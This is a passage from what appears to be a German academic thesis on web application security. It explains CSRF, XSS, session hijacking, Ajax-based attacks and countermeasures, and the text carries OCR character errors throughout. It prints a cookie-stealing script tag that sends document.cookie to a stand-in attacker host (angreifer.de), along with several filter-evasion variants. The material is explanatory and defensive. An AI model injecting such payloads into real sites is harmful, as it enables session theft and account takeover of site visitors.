Opfer hat somit unbewusst ein Gebot iiber 200 EUR abgegeben. Die Seite des Auktionshauses
bleibt dem Opfer natiirlich verborgen, da der Browser einerseits als Antwort ein Bild erwartet und
andererseits dieses ohnehin ausgeblendet ist.

Werden keine Aktiven Inhalte verwendet, gibt es inzwischen mehrere Moglichkeiten diesen Angriff
entgegenzuwirken. Mit Hilfe Aktiver Inhalte kdnnen aber diese Gegenmaflnahmen wiederum aus-
gehebelt werden und bieten somit keinen ausreichenden Schutz (ndheres dazu im Abschnitt 5.4).

5.2.2 Cross-Site Scripting (XSS)

XSS wird in diesem Beispiel sowohl fiir das Manipulieren eines Gebots als auch fiir Session Hija-
cking im nichsten Abschnitt verwendet. Wenn es dem Angreifer gelingt, Schadcode auf der Ge-
botsseite seines Artikels einzuschleusen, hat er grundsitzlich die Moglichkeit automatisch fiir jeden
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Besucher unbemerkt ein Gebot abzugeben. Da dies aber spitestens dann auffallen wiirde, wenn der
Benutzer seine Gebotsiibersicht betrachtet und einen Artikel vorfindet, auf den er nicht geboten hat,
soll bei diesem Beispiel lediglich die Gebotssumme manipuliert werden.

Durch ein einfaches ,,Script Tag* in der Produktbeschreibung des Artikels, die der Angreifer frei
wihlen kann, wird vor dem Absenden eines Gebots die Gebotssumme um eine ,,0° erweitert, sodass
anstatt 20 EUR nun 200 EUR geboten werden (siehe Abbildung 5.9).
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Abbildung 5.9: Durch Einschleusen von Schadcode werden statt 20 EUR nun 200 EUR geboten.

Der Besucher merkt so erst bei der Bestitigungsseite, dass er ,,unabsichtlich® eine 0 zu viel eingege-
ben hat.

Um solche Angriffe zu verhindern, konnte das Auktionshaus bei der frei wihlbaren Artikelbeschrei-
bung Script Tags <script>Schadcode</script> herausfiltern und so die Attacke des Verkaufers
verhindern. Dieser Weg wird von den meisten Web-Anwendungen bzw. Anbietern verfolgt. Da
man iiberzeugt ist, durch die Filterung sicher vor XSS-Attacken zu sein, wird jedoch oftmals auf
weitere SchutzmafBnahmen verzichtet.

Wie in Abschnitt 5.4 nachzulesen, gibt es jedoch zahlreiche Moglichkeiten, Filterungen zu umge-
hen (Filter Evasion).

5.2.3 Session Hijacking

Bei diesem letzten Angriff auf das Auktionshaus wird, wie im vorherigen Abschnitt, eine Schwach-
stelle in der Web-Anwendung ausgenutzt, um den Schadcode einzuschleusen.

Dieser Code soll das Session-Cookie des Benutzers auslesen und an eine entfernte Seite des Angrei-
fers schicken, welche die empfangenen Daten in eine Datei schreibt. Mit JavaScript kann das Coo-
kie der aktuellen Seite {iber das Attribut document.cookie ausgelesen werden. Da sich der Besucher
bei Ausfithrung des Schadcodes auf der Gebotsseite befindet, ist dies auch bereits ausreichend (sie-
he Abbildung 5.10).
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Abbildung 5.10: Auslesen des Session-Cookies per document.cookie.

Anstatt das Session-Cookie durch den Browser des Clients in einem neuen Fenster anzeigen zu las-

sen, wird es als Parameter einer Anfrage an den Server des Angreifers gesendet. Der Schadcode
wird wie folgt gedndert:

<script type="text/JavaScript">

(new Image).src = "http://angreifer.de/log.php?sessionid=document.cookie";
</script>

Die angegebene URL wird beim Erstellen eines Bildes sofort vom Browser des Clients angefordert.
Dargestellt wird das Bild im Browser allerdings nur dann, wenn es an das DOM der Seite ange-
hiangt wird (was in diesem Fall mit Absicht nicht gemacht wird). Die Anfrage wird so an den Server
des Angreifers gesendet, ohne das vermeintliche Bild selbst darzustellen. Der Angreifer kann nun
das Cookie verwenden und sich als der jeweilige Besucher ausgeben und auf den eigenen, einge-
stellten Artikel bieten oder den Account bearbeiten, 16schen etc. Sollte ein Administrator die infi-
zierte Seite besuchen, hat der Angreifer entsprechend noch weitergehende Mdoglichkeiten.

5.3 Sicherheitsmafinahmen in Browsern und Web-Anwendungen

Mit der Einfiihrung von Aktiven Inhalten wurden viele Moglichkeiten geschaffen, die sowohl fiir
sinnvolle, als auch fiir boswillige Zwecke genutzt werden konnen. Um das Risiko einzuschrénken,
wurden verschiedene Sicherheitsrichtlinien definiert und seither immer wieder erweitert.

Zwar ist die direkte Ausnutzung von Aktiven Inhalten inzwischen entsprechend eingeschrénkt, aber
keinesfalls unmoglich. In diesem Abschnitt werden implementierte Sicherheitsrichtlinien Aktiver
Inhalte (inklusive Ajax) sowie Gegenmalinahmen fiir die besprochenen Gefdhrdungen analysiert.
Im Abschnitt 5.4 wird nochmals auf das Risiko Aktiver Inhalte eingegangen und die hier gezeigten
SicherheitsmaBBnahmen im Zusammenhang mit Ajax liberpriift.
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5.3.1 Same-Origin Policy

JavaScripts haben nur Zugriff auf Eigenschaften derjenigen Objekte, die vom selben Ort wie das
vaScript selbst stammen. Damit soll ausgeschlossen werden, dass fragwiirdige Webseiten Zugriff
auf die Daten anderer im Browser gedffneter Dateien oder Webseiten erhalten. In der JavaScript
Version 1.1 wurde diese Richtlinie erstmals implementiert, in allen weiteren Versionen ist sie als
Standard-Richtlinie eingestellt. Inzwischen haben alle géngigen Browser-Hersteller die "Same-
Origin Policy" implementiert (vgl. [BSI05], Same Origin Policy).

Der Begriff Same Origin wird durch den Domain-Namen, das Protokoll und den Port definiert. Bei-
spielsweise kann ein JavaScript auf der Seite von http://www.auktionshaus.de/ auf
http://www.auktionshaus.de/artikel/12.html zugreifen, nicht aber auf den Inhalt der Seite
http://auktionshaus.com/. Wird das document.domain-Attribut auf auktionshaus.de gesetzt, ist ein
Zugriff auf Subdomains wie http://bieten.auktionshaus.de/ erlaubt.

Umgangen werden kann diese Sicherheitsrichtlinie durch das Signieren von JavaScripts. Da die er-
forderlichen Zertifikate dafiir aber mit hohen Kosten verbunden sind und signierter JavaScript-Code
vom Internet Explorer nicht unterstiitzt wird, findet diese Moglichkeit kaum Verwendung.

Zu beachten ist, dass das Senden von Anfragen unabhéngig von der Same-Origin Policy erfolgt.
Nachrichten konnen so nach wie vor als Parameter von Anfragen iiber die Grenzen der eigenen Do-
main hinweg versendet werden. Auch das Darstellen von Inhalten ist zum Beispiel mit [Frames
ohne Weiteres moglich und wird sehr haufig bei Phishing-Angriffen genutzt.

Bei Ajax unterliegt das XHR-Objekt ebenfalls der Same-Origin Policy und kann so nur URLs an-
sprechen, die innerhalb der eigenen Domain liegen. So kann weder der Inhalt von Seiten anderer
Domains abgefragt werden, noch konnen Daten gesendet werden. Wenn das XHR-Objekt jedoch
Schwachstellen aufweist, gibt es auch hier wieder Mdglichkeiten, die Sicherheitsrichtlinie zu umge-
hen (siehe Abschnitt 5.4).

5.3.2 »secure“-Cookies

»decure™ ist ein optionales Attribut eines Cookies. Wenn es nicht verwendet wird bzw. fehlt, wird
das Cookie automatisch bei jeder Anfrage an die entsprechende Domain mitgesendet. Ist ein An-
greifer in der Lage, die Kommunikation des Opfers abzuhoren, kann er bei einer unverschliisselten
HTTP-Verbindung in den Besitz des Session-Cookies gelangen.

Wird das Secure-Attribut hingegen gesetzt, sendet der Browser das Cookie nur, wenn eine gesicher-
te HTTPS-Verbindung besteht. Das Abhdren der Kommunikation ist so nicht mehr zielfiihrend fiir
den Angreifer. Gesetzt wird dieser Wert jeweils bei der Erstellung eines Cookies als einfacher Para-
meter.

5.3.3 »Hhttponly“-Cookies

Dieses optionale Attribut eines Cookies wird vom Internet Explorer (ab Version 6 SP1) unterstiitzt.
Wenn dieses Attribut vorhanden ist, wird das Cookie zwar immer noch bei jeder Anfrage automa-
tisch mitgesendet, kann allerdings nicht mehr per JavaScript ausgelesen werden [Micr07].

Fiir Firefox gibt es inzwischen ein Plugin, der Cookies mit dem httponly-Attribut verschliisselt und
so den Zugriff iiber JavaScript verhindert. Beim Senden einer Anfrage wird das Cookie entspre-
chend entschliisselt mitgesendet [Esse06].
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In beiden Fillen kann per Ajax die Sicherheitsmaf3nahme umgangen werden, sodass der Zugriff auf
das Cookie wiederum ermdoglicht wird.

5.3.4 Session Timeout

Die Voraussetzung fiir CSRF-Attacken ist ein giiltiges Session-Cookie, sodass sich das Opfer beim
Senden einer manipulierten Anfrage nicht erneut authentisieren muss und so der Angriff entspre-
chend nicht vorzeitig scheitert. Wiirde sich das Opfer nach jedem Besuch selbststindig ausloggen
(die Session beenden), miisste es zwar beim néchsten Besuch wieder seine Benutzerdaten eingeben,
aber er hitte zumindest das Risiko ein wenig reduziert.

Bei der Erstellung jeder Session sowie jedes Session-Cookies kann ein Ablaufdatum (Expires) defi-
niert werden. Wird dieser Zeitpunkt iiberschritten, ist das Cookie bzw. die Session nicht mehr giiltig
und der Benutzer muss sich gegeniiber der Web-Anwendung neu authentisieren. Dieses Session Ti-
meout (Zeit der Giiltigkeit) hangt von der jeweiligen Applikation ab. Es kann beispielsweise mehre-
re Tage giiltig sein, nur wenige Stunden oder sogar nur so lange, bis das Browser-Fenster geschlos-
sen wird. Bei jeder legitimen Anfrage eines Benutzers innerhalb des Giiltigkeitszeitraums wird die
Giiltigkeitsdauer der Session entsprechend verléngert.

Das Risiko besteht demnach mindestens so lange, wie der Benutzer die Web-Anwendung nutzt und
das Browser-Fenster noch nicht geschlossen hat. Bei Session Hijacking wird die derzeit giiltige Ses-
sion-ID an den Server des Angreifers gesendet, wenn das Opfer eine infizierte Seite der Web-An-
wendung nutzt.

Zu diesem Zeitpunkt ist es dem Angreifer nun moglich, automatisiert in regelméfBigen Abstdnden
auf die Web-Anwendung mit der Session-ID des Opfers zuzugreifen, um die entfiihrte Session vor
dem Timeout zu bewahren und beliebig lange aktiv zu halten.

5.3.5 Session Token

Einen sicheren Schutz vor Cross-Site Request Forgery versprechen sogenannte Session Tokens. Zu-
satzlich zu den bereits bekannten Cookies mit der geheimen Session-ID wird bei jedem Aufruf ei-
ner Seite mit Formulareingaben vom Server ein weiterer geheimer Wert generiert, ein sogenannter
Token. Beim Absenden wird dieser Wert vom Browser automatisch mitgesendet und von der Web-
Anwendung iiberpriift (siche Abbildung 5.11).

Ein Angreifer kennt diesen Token nicht und kann so nur die URL

bieten.php?artikelnummer=123456&gebot=20

einschleusen. Der Browser des Opfers sendet zwar automatisch das Cookie (die Session-ID) mit,
aber das Token fehlt génzlich. Die Anfrage wird somit von der Web-Anwendung verweigert und
der Angriff abgewendet.

Gegen Session Hijacking bringt diese Sicherheitsmafinahme allerdings keinen Schutz und auch bei
Verwendung des XHR-Objekts ldsst sich diese Maflnahme die Kenntnis des Cookies umgehen (sie-
he Abschnitt 5.4).
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Abbildung 5.11: Session Token als Schutz vor CSRF-Attacken.

5.3.6 SSL

Wie bereits bei den Secure-Cookies kurz angesprochen, wird bei einer SSL-verschliisselten Uber-
tragung (HTTPS) das Mitlesen Dritter verhindert. Trotz Verschliisselung ist die Web-Anwendung

aber dennoch im selben Ausmaf} angreifbar und so lassen sich beispielsweise CSRF-Angriffe un-
eingeschriankt durchfiihren.

Lediglich bei XSS-Attacken wird, wenn ein Schadcode unverschliisselt nachgeladen wird bzw. das
Zertifikat des entsprechenden Webservers ungiiltig ist, eine Warnung vom Browser des Benutzers
ausgegeben, ob er die ,,unsicheren Inhalte* erlauben oder blockieren mdchte. Wird der Schadcode
allerdings vollstindig in die Web-Anwendung eingeschleust oder von einem anderen (giiltigen)
SSL-verschliisselten Webserver nachgeladen, erscheint auch diese Meldung nicht mehr.

SSL kann allerdings bei entsprechender Implementierung einen sicheren Schutz gegen Session Hi-
jacking bieten. Anstatt einen zufillig generierten Wert fiir die Session-ID zu verwenden und diesen
im HTTP-Header jedes Mal mitzusenden, wird die eindeutige SSL-Session-ID, die beim Verbin-
dungsaufbau zwischen Browser und Webserver einmalig fiir die Dauer des Besuchs ausgemacht
wird, verwendet. Selbst wenn ein Angreifer in der Lage wire, diese SSL-Session-ID zu erlangen,
miisste er zusdtzlich den geheimen Schliissel der Verschliisselung herausfinden, um mit der Web-
Anwendung kommunizieren zu kdnnen. Sofern diese Implementierung in der Web-Anwendung
selbst keine Schwachstellen aufweist, ist der Angriff somit aussichtslos.
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5.3.7 Filterung

Wiirde eine Web-Anwendung keine Eingaben von Benutzern erlauben und nur statische Seiten ver-
wenden, wire sie grundsatzlich sicher vor XSS und Session Hijacking. Eine sinnvolle Applikation,
die tiber ein reines Informationsangebot hinaus geht, ist ohne Eingaben in irgendeiner Form und mit
rein statischen Seiten aber praktisch unmoglich.

Je nach Applikation gibt es verschiedenste Eingabemdglichkeiten fiir Besucher wie Suchfelder, Be-
nutzerregistrierungen, Anmeldungen etc. Beim Auktionshaus wiren beispielsweise fiir einen Ver-
kdufer noch Eingabemoglichkeiten vorzusehen fiir den Namen des Artikels, eine Beschreibung, das
gewiinschte Mindestgebot, die Dauer der Auktion usw.

Jedes dieser Eingabefelder stellt ein weiteres Risiko dafiir dar, dass Schadcode in die Web-Anwen-
dung eingeschleust werden kann, der beim Betrachten der dynamisch generierten Seite dargestellt
und von Besuchern ausgefiihrt wird. In vielen Fillen lassen sich Eingaben abe gezielt filtern, sodass
ein Einschleusen von Schadcode verhindert werden kann. Abbildung 5.12 zeigt eine mogliche Vali-
dierung der Eingaben beim Einstellen eines Artikels im Auktionshaus, die fiir die Artikelbezeich-
nung und das Mindestgebot ausreichend ist.

Das Eingabefeld fiir die Beschreibung des Artikels erlaubt jedoch HTML-Tags, sodass der Verkéu-
fer seinen Text individuell gestalten kann, und ermdglicht so zum Beispiel das Einbinden von Links
fiir Bilder. In diesem Fall kann ein Verkdufer aber beliebigen Schadcode einfiigen. Ein zusitzliches
Script Tag, das den Besucher veranlasst sein Session-Cookie an den Angreifer zu senden, wiirde
beispielsweise als giiltige Beschreibung des Artikels zugelassen werden:

<script>(new Image).src="http://angreifer.de/log.php?sessionid="+
document .cookie</script>

r [ i =
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Abbildung 5.12: Filterméglichkeiten bei Eingabefeldern - Unzureichender Schutz bei Ein-
gabe der Beschreibung.

Um XSS-Attacken in diesem Beispiel zu unterbinden und die Verwendung von sinnvollen bzw.
harmlosen Tags aber nach wie vor zu erlauben, ist eine Filterung unerlésslich. Das einfache Suchen
und Eliminieren von <script> oder document . cookie ist nicht zielfilhrend, da es zahlreiche Mog-
lichkeiten gibt, dies zu umgehen. Folgende Beispiele sollen dies verdeutlichen:
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eval ('document.cook' + 'ie');
document . cookie;

(new Image) .src
(new Image) .src

<script >
</script >

<script/xx>
</script/xx>

Jeder gingige Browser (Internet Explorer, Mozilla Firefox, Netscape Navigator, Opera) interpretiert
HTML nicht strikt nach den vorgegebenen Standardisierungen des W3C bzw. RFC, sondern erlaubt
einen gewissen Toleranzbereich. Dadurch ist es moglich, durch absichtliche Fehler den Schadcode
so zu verschleiern, dass er vom Filter nicht mehr erkannt wird, aber vom Browser dennoch interpre-
tiert und ausgefiihrt wird (diese Technik wird als Filter Evasion bezeichnet). Je nach verwendeten
Browser lassen sich Teile des Schadcodes auch in hexadezimaler, oktaler oder Base64-Darstellung
verschleiern. Eine ausfiihrliche Liste unter Beriicksichtigung der verschiedenen Browser bietet die
Seite http://ha.ckers.org/xss.html.

Eine Filterung muss stets serverseitig durchgefiihrt werden. Zwar konnen die Daten durch Aktive
Inhalte im Browser des Benutzers vorab validiert werden und so beispielsweise ein unnétiges Sen-
den vermeiden, boswillige Nutzer konnen Anfragen manuell erstellen und so den client-seitigen
Schutz auf einfache Weise umgehen. Programmier- bzw. Skriptsprachen wie PHP, Perl etc. bieten
meist fertige Funktionen zum sicheren Filtern von HTML-Tags, die beim Empfang von Daten bzw.
spitestens beim Darstellen der gespeicherten Daten verwendet werden sollten.

Das Einschleusen von Schadcode kann in manchen Féllen durch eine einfache Validierung der Be-
nutzereingaben abgewendet werden. Grundsétzlich miissen simtliche Eingaben serverseitig liber-
priift und gefiltert werden, bevor die Web-Anwendung diese verarbeitet. Idealerweise sollten die
verarbeiteten bzw. gespeicherten Eingaben bei der Ausgabe nochmals validiert und gegebenenfalls
gefiltert werden. Einen hundertprozentigen Schutz fiir alle Web-Anwendungen kann dies allerdings
ebenfalls nicht garantieren.

5.4 Sicherheitsrisiko Ajax

54.1 Ausmal} von XSS-Attacken

Die bisher gezeigten XSS- und CSRF-Attacken werden von einem Besucher der infizierten Seite
einmalig ausgefiihrt und sind damit abgeschlossen. Erst bei einem erneuten Besuch wird der Schad-
code nochmals ausgefiihrt. Dies wird als non-persistent bezeichnet, da nach dem Ausfiihren kei-
nerlei Verbindung mehr mit dem Schadcode besteht.
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Exploit Code
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Abbildung 5.13: Méglichkeit einer persistent-XSS-Attacke (vgl. [Gros05]).

Im Gegensatz dazu ldsst sich aus einer Kombination verschiedener HTML-Elemente bzw. der Ver-
wendung des XHR-Objekts eine persistent-XSS-Attacke durchfiihren. In diesem Fall wird der
Schadcode so gestaltet, dass automatisch immer wieder neue Anweisungen nachgeladen werden.
Der Angreifer hat so Kontrolle iiber den Browser und kann ihn aus der Ferne steuern, solange das
Opfer das Browser-Fenster nicht manuell wechselt oder schlief3t.

Anhand eines einfachen Beispiels wird die Auswirkung einer persistent-XSS-Attacke dargestellt
[Gros05]. Ein Angreifer, der eine Sicherheitsliicke in einer bekannten, viel besuchten Web-Anwen-
dung findet, ist in der Lage, Schadcode in eine Seite einzuschleusen. Der komplette Code liegt da-
bei auf dem Server des Angreifers bereit und wird durch das eingeschleuste Skript-Tag, wie in Ab-
bildung 5.13 zu sehen, nachgeladen.

Ein Besucher der infizierten Seite fordert somit entsprechend den Schadcode vom Server des An-
greifers an und fiihrt diesen aus. Dabei wird aktiv im Browser des Besuchers ein [Frame erstellt, das
iiber das gesamte Browser-Fenster reicht und dessen src-Attribut auf die tatséchliche, aktuelle Seite
gesetzt wird. Der Besucher sieht so die gewiinschte Seite ohne irgendwelche Beeintrachtigungen
und merkt nicht, dass der Inhalt in einem [Frame dargestellt wird. Klickt der Besucher nun auf ei-
nen Link oder versendet ein Formular, wiirde er bei einer non-persistent Attacke die infizierte Seite
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verlassen. Da es sich hierbei aber um eine Interaktion innerhalb des [Frames handelt, wird lediglich
dieses gewechselt und die infizierte Seite bleibt nach wie vor im Hintergrund bestehen.

Bei jedem Wechsel der Adresse im [Frame durch Klicken eines Links oder Absenden eines Formu-
lars wird automatisch iiber das onload-Event eine weitere Funktion des Schadcodes aufgerufen. So-
lange das Opfer innerhalb der selben Domain verweilt und die Adresse nicht tiber die Navigations-
leiste wechselt, kann der komplette Inhalt der jeweiligen Seite aktiv ausgelesen werden. Durch die
Erstellung eines nicht sichtbaren Image-Tags wird der Inhalt der aufgerufenen Seite unbemerkt an
den Server des Angreifers gesendet. So kdnnen sensible Daten, simtliche Kennwdrter etc. ausgele-
sen und versendet werden.

Durch einen Timer im Schadcode wird letztlich in regelmiBigen Abstinden noch eine Funktion auf-
gerufen, die liberpriift, ob vom Angreifer neue Anweisungen bereitstehen, die im Browser des Be-
nutzers ausgefiihrt werden. Der Angreifer kann somit nicht nur passiv mitlesen, sondern auch ent-
sprechend aktiv handeln. Bei einer viel besuchten Web-Anwendung kann der Angreifer auf diese
Weise automatisiert eine grole Anzahl von Browsern infizieren und konnte so z. B. eine enorme
DDoS-Attacke auf beliebige Ziele durchfiihren.

Durch das Einschleusen eines einzigen Tags ist es moglich, alle weiteren Filter und Sicherheitsmal3-
nahmen der Web-Anwendung zu umgehen und vom Benutzer unbemerkt die Kontrolle des Brow-
sers zu libernehmen. Wenn eine Web-Anwendung ohne Aktive Inhalte nicht nutzbar ist sind so die
Benutzer gezwungen, Aktive Inhalte zuzulassen, und sind in der Folge Angriffen dieser Art wehrlos
ausgeliefert, ohne die Moglichkeit, sie noch abzuwenden.

5.4.2 Cross-Site-Zugriffe mit XHR

In Abschnitt 5.3.1 wurde die Sicherheitsrichtlinie Same Origin erldutert, die in allen aktuellen
Browsern implementiert ist und die den Zugriff auf Seiten verbietet, die sich nicht innerhalb der sel-
ben Domain bzw. Subdomain befinden. Dass mit einfachen HTML-Elementen {iber Umwege den-
noch mit anderen Domains (Cross-Site) kommuniziert werden kann, zeigte das Beispiel im vorheri-
gen Abschnitt. Um den Inhalt einer Seite auszulesen, musste der Schadcode allerdings auch hier in-
nerhalb der selben Domain bzw. Subdomain eingeschleust werden.

XHR unterliegt ebenfalls der Same-Origin Policy. Bereits das Offnen einer URL, die auBerhalb der
eigenen Domain bzw. Subdomain liegt, wird unterbunden. Wiére es allerdings mdglich, eine Sicher-
heitsliicke im XHR-Objekt auszunutzen, um diese Sicherheitsmafinahme zu umgehen, wire das
Ausmal} erheblich hoher als bei einfachen HTML-Elementen. Da ein nahezu uneingeschrénkter Zu-
griff auf den HTTP-Transport geboten wird, konnte so nicht nur der Inhalt beliebiger Seiten ausge-
lesen werden, sondern wiirde auch das Lesen und Verdndern von Session-Cookies und des
Authorization Headers, der bei HTTP-Authentifizierungen verwendet wird, das Falschen von
Referrer usw. ermdglichen. Da Anfragen {iber XHR im Browser transparent ablaufen, ist der ge-
samte Vorgang zudem ohne besondere MalB3nahmen fiir den Benutzer nicht sicht- bzw. erkennbar.

Eine Liste aller bis April 2007 verdffentlichten Exploits, die eine Sicherheitsliicke in XHR-Imple-
mentierungen der Browser verwenden, ist im Abschnitt 5.4.6 zu finden. Unter anderem ermdglichen
diese Sicherheitsliicken nicht nur Cross-Site-Zugriffe, sondern auch das Auslesen von httponly-
Cookies, Cache Poisoning, Scannen nach HTTP-Diensten innerhalb des LANs (selbst hinter einem
Sicherheits-Gateway), Auslesen lokaler Daten usw.

Das Ausmal einer solchen Attacke darf nicht unterschitzt werden. Eine einzige Sicherheitsliicke ei-
ner vertrauenswiirdigen Web-Anwendung, bei der ein Benutzer Aktive Inhalte zuldsst, kann bereits
ausreichend sein.
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Das XHR-Objekt ldsst sich aber auch ohne Exploit, unabhédngig der implementierten Version, fiir
andere Zwecke ausnutzen. In den folgenden Abschnitten werden Beispiele fiir Angriffe beschrie-

ben, die durch das XHR-Objekt ermoglicht werden. Ob der Schadcode nun in einer Seite der glei-
chen Domain bzw. Subdomain eingeschleust wird oder eine Sicherheitsliicke in der Implementie-
rung ausgenutzt wird, um die Same-Origin Policy zu umgehen, wird in weiterer Folge nicht mehr
berticksichtigt.

5.4.3 Cross-Site Request Forgery mit XHR

Eine einfache CSRF-Attacke ldsst sich verhindern, indem ein Token eingefiihrt wird, der bei jeder
Anfrage dynamisch generiert und beim Senden von Formularen automatisch mitgesendet wird (sie-
he Abschnitt 5.3.5). Ohne Aktive Inhalte ist es nicht moglich, dieses Token auszulesen, und somit
auch nicht moglich, das Formular vollstindig abzusenden.

Mit XHR hingegen konnen im Gegensatz zum vorherigen Fall mehrere Anfragen gestellt werden.
So wird auf einfache Weise zuerst die gewiinschte Seite mit dem Formular gedffnet, welche das ge-
heime Token enthilt, und anschlieBend die vollstindige Anfrage inklusive des entsprechenden To-
kens abgesendet.

Ein Session Token stellt bei Verwendung Aktiver Inhalte somit keinen ausreichenden Schutz mehr
dar.

5.4.4 Prototype Hijacking - Verschleierung

Die Verschleierung Aktiver Inhalte wird in der Regel fiir Filter Evasions genutzt, um Schadcode in
die Web-Anwendung einzuschleusen. In Verbindung mit XHR kann eine Verschleierung auch an-
dere Ziele haben.

Prototype-Sprachen (wie JavaScript) sind objektorientierte Sprachen, in denen keine Klassen exis-
tieren. Objekte werden somit nicht von einer Klasse instanziert, sondern entweder von einem bereits
bestehenden oder einem leeren Objekt geklont. Fiir jedes Objekt konnen noch zusitzliche Methoden
und Attribute definiert werden.

Beim Anfordern eines XHR-Objekts mit der new XMLHttpRequest()-Funktion wird so keine neue
Instanz einer XHR-Klasse erstellt, sondern ein Klon des bereits bestehenden XHR-Objekts angefer-
tigt. Prototype Hijacking macht sich diese Eigenschaft zu Nutze. Zuerst wird ein Klon des origina-
len XHR-Objekts erstellt und eine neue Send-Funktion implementiert, die jede Anfrage (inklusive
aller Parameter) zuerst an einen Server des Angreifers sendet und anschlieend erst die originale
Send-Funktion im zuvor geklonten Objekt aufruft (siche Abbildung 5.14).
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Abbildung 5.14: Prototype Hijacking (Quelle: [PaFe06], Abbildung 2).

Samtliche legitimen Anfragen, die nach dem Prototype-Hijacking-Angriff das XHR-Objekt ver-
wenden, werden somit gleichzeitig auch an den Angreifer weitergeleitet. Auf diese Weise kdnnen
beliebige, im Grunde harmlose Funktionen plotzlich eine ganze Reihe unterschiedlicher Dinge erle-
digen.

Ein weiteres Problem der Verschleierung ist die Moglichkeit, JavaScript-Code zu einem spiteren
Zeitpunkt einzubinden [Cast05]. Nachdem eine Seite vollstindig geladen wurde, lassen sich Ja-
vaScript-Funktionen noch hinzufiigen oder bereits bestehende modifizieren. Selbst ein aufmerksa-
mer Benutzer, der den Quellcode der aufgerufenen Seite analysiert, sicht nur den aktuellen Inhalt
und kann nicht mehr ohne Weiteres feststellen, welcher Code tatsdchlich ausgefiihrt wird, da bei-
spielsweise bei jeder Mausbewegung, jedem Tastaturanschlag oder auch nach gewisser Zeit ein
neuer Code hinzugeladen werden kann.

Es wire so beispielsweise auch realisierbar, das Nachladen des Schadcodes abhéngig von Browser-
Version, Betriebssystem usw. zu machen und so gezielt die passenden Funktionen und Attribute zu
verdandern. Ein Besucher ist so nicht mehr in der Lage festzustellen, was in seinem Browser tatséch-
lich ausgefiihrt wird.
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5.4.5 Data Harvesting

Serviceanbieter versuchen oft, das Verhalten der Besucher zu analysieren, um mdgliche Trends
festzustellen, die Benutzerfreundlichkeit zu erhdhen, gezielt Werbung einzuschalten und derglei-
chen. Grundsitzlich bietet jeder Webserver bereits durch das normale Logging eine mehr oder we-
niger effiziente Moglichkeit, dies zu realisieren. Personalisierte Zugiange, Cookies oder Sessions
nicht registrierter Benutzer erlauben es dariiber hinaus, Personenprofile anzulegen.

Das Verhalten eines Benutzers wird allerdings nur dann gespeichert, wenn eine bestimmte Aktion
durchgefiihrt wird. Etwa das Offnen eines Links, das Absenden eines Formulars, das Klicken auf
ein Bild oder einen Artikel etc. Dem Benutzer ist also klar, wann seine Daten an den Server iibertra-
gen werden. Wird ein Web-Formular ausgefiillt und vor dem Senden das Fenster beabsichtigt oder
unbeabsichtigt geschlossen, so werden die Daten nicht gesendet und somit nicht registriert. Wird
der Text in einem Formular mehrmals gedndert, wird nur die endgiiltige Fassung beim Absenden
des Formulars an den Server iibertragen.

Das XHR-Objekt bietet nun aber Moglichkeiten, diese gewohnte Eigenschaft drastisch zu veran-
dern. Um die Benutzerfreundlichkeit zu steigern, werden beispielsweise bei Suchfeldern bereits
wihrend der Eingabe die Daten an den Server gesendet und entsprechende Vervollstindigungsvor-
schldge an den Browser gesendet (siche Abbildung 5.15). Diese, aus Benutzersicht niitzliche Eigen-
schaft, kann jedoch auch entsprechend missbraucht werden.

|G| Moz Q.-
'F'-j mozilla Suggesti... mm-
- mozilla firefox m
| mozart
mozilla thunderbird
mozila

mozilla firefox dow...

Abbildung 5.15: Automatische Suchvorschlige
(Quelle: [Mozz07]).

Solange der Benutzer sich im Browser-Fenster befindet, hitte ein iibereifriger oder boswilliger Ser-
viceanbieter, oder aber ein Angreifer, der einen Server eines Serviceanbieters unter seine Kontrolle
gebracht hat, theoretisch die Moglichkeit, mit Ajax jeden Mausklick, jeden Tastaturanschlag und
sogar Mausbewegungen und Pausen unbemerkt an den Server zu senden. Beim Ausfiillen eines
Formulars kénnen somit auch geldschte Inhalte auf dem Server geloggt werden; es kann verglichen
werden was urspriinglich ausgefiillt und was dann tatsichlich abgesendet wurde. Bei Login / Pass-
wort Abfragen kdnnen versehentlich eingegebene Daten bereits zum Server iibermittelt und dort ge-
speichert sein, obwohl der Benutzer dies noch bemerkt und das Formular tiberhaupt nicht abge-
schickt hatte.

Denkbar ist auch, einen Keylogger auf einer Webseite zu implementieren. Falls ein Benutzer den
Browser noch im Hintergrund gedffnet hat und versehentlich sensible Daten in das falsche Fenster
tippt, werden diese bereits unbemerkt an den Server weitergeleitet.
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5.4.6 Sicherheitsliicken in XMLHttpRequest

Die folgende Auflistung zeigt verdffentlichte Exploits des XHR-Objekts und deren Auswirkung in
chronologischer Reihenfolge. Auch wenn diese Schwachstellen in aktuellen Versionen bereits be-
hoben wurden, muss beachtet werden, dass viele Benutzer noch éltere bzw. ungepatchte Browser
verwenden. In der Zeit zwischen Entdecken und Patchen einer Sicherheitsliicke kann selbst eine
stets aktuelle Version nicht vor Angriffen schiitzen.

April 2002: Mozilla / Netscape 6 XMLHttpRequest File Disclosure Vulnerability
http://www.securityfocus.com/bid/4628
Erlaubt mit Hilfe von HTTP-Weiterleitungen Zugriff auf lokale Dateien.

Juli, 2002: Firewall Circumvention Possible with All Browsers
http://www.securiteam.com/securitynews/SHPOY007PK . html
Erlaubt Zugriff auf Daten im internen LAN durch Erraten interner IP Adressen.

April, 2005: AppleWebKit XMLHttpRequest arbitrary file disclosure vulnerability
http://archives.neohapsis.com/archives/vulnwatch/2005-q2/0012.html
Cross-Site-Schutz aufgehoben - erlaubt das Lesen lokaler Dateien.

Juni, 2005: Opera XMLHttpRequest Security Bypass
http://archives.neohapsis.com/archives/secunia/2005-q2/0913.html
Erlaubt Zugriffe auBerhalb der Domain (Cross-Site-Zugriffe).

August, 2005: MySpace Worm: Samy

http://www.securityfocus.com/brief/18

Der erste XSS-Wurm Samy infizierte im August 2005 innerhalb 24 Stunden mehr als 1 Million Be-
nutzerprofile der Web-Anwendung MySpace. Im Vergleich zu anderen, bekannten Wiirmern, setzt
Samy damit neue Malistébe (siche Abbildung 5.16).
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Abbildung 5.16: Verbreitung von Wiirmern nach 24 Stunden (vgl. [Gros06], Abbildung 7).
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Samy blieb nicht der einzige XSS-Wurm. Im Juni 2006 wurde im Yahoo-Webmail-Service eine Si-
cherheitsliicke gefunden, die durch den XSS-Wurm Yamanner [Ciub06] ausgenutzt wurde und sich
beim Offnen einer Mail automatisch reproduzierte. Einen Monat spiter, im Juli 2006, wurde MyS-
pace erneut das Opfer des XSS-Wurms Spaceflash [Fall06], der sich wie Samy iiber die Benutzer-
profile verbreiten konnte.

